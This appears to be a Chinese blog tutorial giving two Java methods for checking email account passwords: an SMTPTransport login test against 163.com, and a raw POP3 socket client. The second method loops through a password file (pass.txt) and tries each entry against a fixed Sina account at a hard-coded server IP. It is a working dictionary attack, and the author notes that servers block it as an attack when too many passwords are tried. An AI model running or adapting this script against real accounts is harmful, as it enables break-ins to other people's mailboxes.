有些时候我们只需要验证邮箱的帐号密码是否正确。而不需要发邮件。用下面的代码吧。
要用到的jar包是jmail.jar
方法1
package com.cn.mail.test;
import java.util.Properties;
import javax.mail.MessagingException;
import javax.mail.Session;
import javax.mail.URLName;
import com.sun.mail.smtp.SMTPTransport;
public class EmailLogin extends SMTPTransport {
public EmailLogin(Session session, URLName urlname) {
super(session, urlname);
}
/**
* @param args
*/
public static void main(String[] args) {
URLName urlName=new URLName("smtp","smtp.163.com",25,"","xxx@163.com","password");
Session session=Session.getInstance(new Properties());
EmailLogin login=new EmailLogin(session,urlName);
System.out.println("登陆:"+login.login());
}
public boolean login(){
boolean login=false;
try {
login= this.protocolConnect(url.getHost(), url.getPort(), url.getUsername(),url.getPassword());
} catch (MessagingException e) {
login=false;
}
return login;
}
}
方法2
还可以用Socket方法
//测试的是sina邮箱. Coremail为服务器的邮箱(163)不大好测, 因为错误提示出来的太慢了. 不大好用,其它的还行.密码不要太多了,太多了,服务器会认为是攻击,会
//屏蔽!
import java.net.*;
import java.io.*;
public class mypass{
public static void main(String args[])
{
try{
String pass="";
boolean eof=false;
BufferedReader fp=new BufferedReader(new FileReader(new File("pass.txt")));
//存放密码的文件
while(!eof)
{
pass=fp.readLine();
if (pass==null) eof=true;
else System.out.println(login("abc@sina.com",pass.trim())+" PASS:"+pass);
//测试用的用户名
}
}catch(Exception e)
{
e.printStackTrace();
}
}
public static boolean login(String user,String pass)
{
try{
Socket conn = new Socket(InetAddress.getByName("202.108.3.230"),110);
//测试用的pop3服务器的IP地址。
BufferedReader input = new BufferedReader(new InputStreamReader(conn.getInputStream()));
PrintWriter out = new PrintWriter(conn.getOutputStream(), true);
String line = input.readLine();
out.print("USER " + user+"\r\n");
out.flush();
line = input.readLine();
out.print("PASS " + pass+"\r\n");
out.flush();
line = input.readLine();
//System.out.println(line);
if (line.substring(0, 3).equals("+OK")) {
return true;
}
return false;
}
catch(Exception e)
{
e.printStackTrace();
}
return false;
}
public static void quit(PrintWriter out)
{
out.print("QUIT\r\n");
}
}
两中方法的比较:
SOCKET走的是TCP/IP协议,而浏览器方式走的是HTTP协议不管哪种方式,都是通过客户端程序上发到服务器端,而浏览器方式的通道都是默认OK的,而TCP方式则需要通过SOCKET来建立通道,传输的数据是通过报文格式,报文你可以理解是一串东东,这个东东可以是二进制,可以是十进制,可以是字符串对于进行用户名密码认证,你看成是字符串就行了根据客户端和服务端规定好的报文格式进行解析,验证的工作和HTTP协议的方式一样,简单来说就是放在servlet上进行。区别就是,SOCKET要自己建立连接以及自己制定报文格式,而浏览器方式只要通过request方式传送就OK了